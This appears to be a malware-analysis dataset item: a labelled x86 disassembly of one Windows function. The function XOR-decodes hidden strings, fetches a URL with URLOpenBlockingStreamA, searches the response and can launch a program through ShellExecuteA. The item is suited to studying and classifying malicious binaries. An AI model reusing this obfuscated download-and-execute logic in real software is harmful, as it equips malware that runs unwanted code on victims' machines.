Function at 0x428d10
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436fd2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d4
mov dword [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0x21], 0x9aa8a6a5
mov dword [ebp - 0x1d], 0x899f838c
mov dword [ebp - 0x19], 0x8081a5
mov byte [ebp - 0x15], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x428d50
push ecx
lea eax, [ebp - 0x16]
mov byte [ebp - 0x15], 0
push eax
lea eax, [ebp - 0x21]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00434240
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x10], 0x10084a6
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 2
jb 0x428d85
push ecx
lea eax, [ebp - 0xe]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00434240
mov byte [ebp - 4], 1
xor ecx, ecx
movaps xmm0, xmmword [0x46f580]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x100bbad
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 0x12
jb 0x428dc2
push ecx
lea eax, [ebp - 0x2a]
mov byte [ebp - 0x29], 0
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00434240
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x84]
call fcn.00435300
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x84]
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c]
call fcn.00435300
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x70]
cmp ecx, 0xf
jbe 0x428e5f
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428e55
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f03
push ecx
push edx
call fcn.00435a73
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x88]
cmp ecx, 0xf
jbe 0x428e99
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428e8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f03
push ecx
push edx
call fcn.00435a73
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0xf
jbe 0x428ed3
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428ec9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428f03
push ecx
push edx
call fcn.00435a73
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0xf
jbe 0x428f13
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428f09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x428f09
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp dword [0x474ac8], 0xf
lea ecx, [ebp - 0x14]
push 0
push 0
mov eax, 0x474ab4
cmova eax, dword [0x474ab4]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
je 0x428f5e
push 5
push 0
push 0
mov ecx, 0x474c64
call fcn.004332d0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x17c], 0x46eddc
mov dword [ebp - 0x16c], 0x46edb8
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x10], 0x1ff
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x180], eax
lea ecx, [ebp - 0x164]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x14]
push edx
push 0x64
lea edx, [ebp - 0x1e0]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x42904a
push 0
push eax
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x16c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push edx
push 0x64
lea edx, [ebp - 0x1e0]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429017
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004327e0
cmp dword [ebp - 0x58], 0xf
lea ecx, [ebp - 0x6c]
lea eax, [ebp - 0x54]
cmova ecx, dword [ebp - 0x6c]
cmp dword [ebp - 0x40], 0xf
push ecx
cmova eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
je 0x428f3b
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x4290bf
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4290b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x429141
push ecx
push edx
call fcn.00435a73
add esp, 8
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x180], eax
lea ecx, [ebp - 0x164]
call fcn.00433060
lea ecx, [ebp - 0x15c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x114]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x429151
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429147
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x429147
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret